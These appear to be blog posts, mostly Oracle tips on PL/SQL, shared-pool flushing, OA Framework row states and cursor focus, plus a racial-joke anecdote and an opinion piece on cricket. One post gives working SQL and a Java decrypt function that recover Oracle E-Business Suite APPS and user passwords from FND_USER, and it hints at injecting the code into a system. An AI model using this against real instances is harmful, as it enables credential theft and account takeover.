Not an infinte loop

If you know why the below piece of code wont go into an infinite loop in Oracle, then you know a very important concept of Oracle database.

BEGIN
FOR x in (SELECT * from t) LOOP
INSERT INTO t values (x.user_name, x.user_id, x.created);
END LOOP;
END;

Its a direct lift from Thomas Kyte's text book.

Buy the book if you don't know why or thinks that it will go into infinite loop.

Read by other session - Strange issue

We faced a really strange performance issue in our database today. One report was running for ever. It uses only one SQL and that SQL was completing really fast from TOAD(backend). When we looked at our database monitoring software, we found a new strange wait event "read by other session" was the major culprit.

After rigorous googling we decided to flush the shared pool.

alter system flush shared_pool;

It took really long time to flush the shared pool. But after clearing the shared pool the report started completing really fast.

Oracle Ebusiness Suite password

Oracle Ebusiness Suite password

You need either read only access to database or you can work it out in a cloned instance.

Step 1: Create the following function in database. Alternatively you can create a Java class and move it to JAVA_TOP.

CREATE OR REPLACE function APPS.my_decrypt(key in varchar2, value in varchar2)
return varchar2
as language java name 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';

NOTE: This is trickier part. I won't venture into details of injecting this code into the system. It is not easy but it is doable. :-)

Step 2: Get database APPS schema password.

SELECT my_decrypt((SELECT fpov.profile_option_value
                   FROM   fnd_profile_options fpo,
                          fnd_profile_option_values fpov
                   WHERE  profile_option_name LIKE 'GUEST_USER_PWD'
                          AND fpo.profile_option_id = fpov.profile_option_id),
                  fu.encrypted_foundation_password) apps_pass
FROM   fnd_user fu
WHERE  fu.user_name = 'GUEST'

NOTE: Skip this if you already know the APPS database password. (Like in cloned test/development instance)
 
Step 3: Get Ebusiness Suite (front end) password.

SELECT my_decrypt(<APPS_DATABASE_PASSWORD>,fu.encrypted_user_password) user_pass
FROM   fnd_user fu
WHERE  fu.user_name = <APPS_FRONTEND_USERNAME>


Theory: Oracle for each user encrypts database password in FND_USER.ENCRYPTED_FOUNDATION_PASSWORD column using "USERNAME/PASSWORD" as key and users password in FND_USER.ENCRYPTED_USER_PASSWORD with APPS database password as key.

Row.STATUS_INITIALIZED

We were experiencing a very strange problem with an OA page. The page is used to update multiple rows from a transient VO using a table region. Following were the symptoms.

• Sometimes after save, the old value used to reappear.
• Sometimes after save, value from different row gets updated to current row.
  
• It was not happening for all kind of data.

Finally (by sheer luck) we found that it was because the way we preparing the VO for update.

Old Code
Row row = vo.createRow();
row.setAttribute(0,"value1");
row.setAttribute(1,"value2");
row.setNewRowState(row.STATUS_INITIALIZED);
vo.insertRow(row);

It seems we accidentally were using STATUS_INTITIALIZED instead of STATUS_NEW. What a bummer?

I am not sure where or when we should be using STATUS_INTITIALIZED though but found out that it should never be used while preparing row for insert or update. Below is from the javadoc of oracle.jbo.Row.

static byte
STATUS_INITIALIZED



         Indicates that the row is newly created and no setAttribute has been called on it yet.

static byte
STATUS_NEW



         Indicates that the Row is newly created and this Row's consistuent entities have been added to the transaction.

No one going to India or Pakistan

I recently heard this most interesting racial incident from my friend (South Indian). He works for a company based out of Green Bay WI, as a software consultant. The other day he went for pee-pee. He was almost done and was waiting for the last drops to fall off from his wee-wee. His Pakistani colleague walked in for pee-pee and looking at my friend quipped that "I am going to India". My friend was little confused and thought that this Pakistani is indeed going to India for business trip or something. He innocently asked the other guy when he was going to India. Pakistani guy replied pointing at his act of pee-pee-ing that "Now ..". That was outrageous. Wasn't it? Later that Pakistani guy explained my friend that he got similar comments from lots of his India friends and he didn't meant to offend Indians. Well it is certainly border line racial comment, in fact way cross the border line for me. But based on current situation in our countries, my fellow Pakistani and Indian friends, no one would like to go to India or Pakistan.

And also I stumbled upon this racial slur database. Better to know these slurs when we are living in cosmopolitan city as Chicago. I mean, so that we don't use it even accidentally.

Cursor Focus on OA page

Initial Cursor Focus is a highly under rated requirement in OA framework and mostly it is put on the back burner during design/coding. And there is no clear documentation for this feature and may be OA dev guide avoided it because we need to use Java Script for it; which is considered sacrilegious in OAF. We designed and deployed around 50 pages to production and realized the importance of cursor focus only when the users started whining about it. Hey, but they had a valid case, some times they open a page and scans a lot number immediately. But if the focus was on URL browser field, it will take them to different page. And worse, some users started complaining about carpal tunnel symptoms due to excessive usage of mouse. So when we started fixing the pages for initial cursor focus we found ourselves in a difficult situation for some pages like the one which have tab region or one with table region.

Simple messageText field.

Initial cursor focus on single row region is simple and straightforward.

String id = "myId"; // ID of the field
OABodyBean bB = (OABodyBean)pageContext.getRootWebBean();
bB.setInitialFocusId(id);

Tab region

We need to find the current active tab and then focus on the field for that tab.

OABodyBean bB = (OABodyBean)pageContext.getRootWebBean();
OASubTabLayoutBean tBean = (OASubTabLayoutBean)webBean.findIndexedChildRecursive("tabRegionId");
    if(tBean != null)
    {
      int tabIndex = tBean.getSelectedIndex(pageContext);
       if(tabIndex == 0)
         bB.setInitialFocusId("id1");
       else if (tabIndex == 1)
         bB.setInitialFocusId("id2");

Table region

This is tricky and there is no direct OA supported way of doing this. OA framework (UIX) suffixes N: to the table field id while creating the final HTML page. Based on this fact following javascript function will do the trick.

 // id is ID of your bean
 // rowIndex is the row number you want to focus.
 function setTableFocus(id,rowIndex)
 {
   for (i = 0; i< 100 ; i++)
   {
    var bean = document.getElementById('N' + i+ ':' + id + ':' + rowIndex);
    if(bean != null)
    {
       bean.focus();
       break;
    }
   }
 }

 
   OABodyBean bB = (OABodyBean)pageContext.getRootWebBean();
   pageContext.putJavaScriptFunction("focusTag",);
   bB.setOnLoad("setTableFocus('" + id + "'," + 1 + ")");  // focus on first row.

We created an utility class to handle all these scenarios. FocusMap.java. Read javadoc for its usage.

Sunday Night Cricket

Cricket and Election are the two most popular past time of India and when these two collide the world is ready to move heaven and earth to limit the damage. The previous sentence is a pastiche of news bytes I read from various sites which sums up the current situation of IPL. The money and glamor that IPL brings is much debated and scorned topic. But what is mind boggling is organizers insistence on keeping the same time slot as previous year so that viewers can watch it. Or so that media house can get maximum viewership and maximum advertising revenue. IPL is no doubt turning into a media staged event like American Football. In NFL, media has managed to create an aura of staged event and induced addiction so that viewers tune in not for the actual football match but for the program that is aired on particular time. And the extreme of that is Super Bowl where some people watch it just for Super Bowl ads and half time shows. Indian channels' obsession of filling in screen real estate with ads and 5th ball advertisement break has already pi**ed off many viewers. As IPL is drifting more towards Sunday Night Cricket mode, I wont be surprised to see when Punjabs' Brett Lee charges in full speed to bowl and suddenly umpire pops his left hand out, stops him and says "Sorry mate ..we are not on air yet ...you have to do it again ..".